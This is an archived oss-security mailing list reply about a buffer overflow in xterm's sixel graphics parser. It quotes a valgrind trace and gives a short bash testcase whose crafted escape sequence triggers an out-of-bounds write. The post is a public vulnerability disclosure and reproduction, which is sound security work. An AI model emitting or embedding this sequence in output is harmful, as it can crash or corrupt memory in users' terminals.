[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

```
Date: Sun, 30 Jan 2022 18:39:01 -0000 (UTC)
From: Tavis Ormandy <taviso@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: xterm buffer overflow via crafted sixel

On 2022-01-30, nick black wrote:
> an error of mine own led to emission of a corrupted sixel [0], and
> spectacular gyrations from XTerm:
>
>==1426124== Invalid write of size 2
>==1426124==    at 0x193FF1: set_sixel (graphics_sixel.c:181)
>==1426124==    by 0x1949E1: parse_sixel (graphics_sixel.c:534)
>==1426124==    by 0x17203D: do_dcs (misc.c:4973)
>==1426124==    by 0x149E03: doparsing.constprop.0 (charproc.c:4224)
>==1426124==    by 0x14B383: VTparse (charproc.c:5183)
>==1426124==    by 0x14B670: VTRun (charproc.c:8163)
>==1426124==    by 0x12DC49: main (main.c:2911)
>==1426124==  Address 0xffffffff0941efb8 is not stack'd, malloc'd or (recently) free'd
>==1426124==

I can repro here, here is a testcase:

#!/bin/bash
printf "\ePq"
printf "#%hhu;2;%hhu;%hhu;%hhu" 0x41 100 100 100
printf "#%hhu!%u@" 0x41 0x7fffffff
printf "#%hhu!%u@" 0x41 0x7fffffff
printf "\e\\"

That should wrap context->col, and write a 'A' to graphic->pixels oob in
set_sixel.

I use `XTerm*decTerminalID: vt382` in .Xresources, not sure if that matters.

Tavis.

--
 _o)            $ lynx lock.cmpxchg8b.com
 /\\  _o)  _o)  $ finger taviso@....org
_\_V _( ) _( )  @taviso
```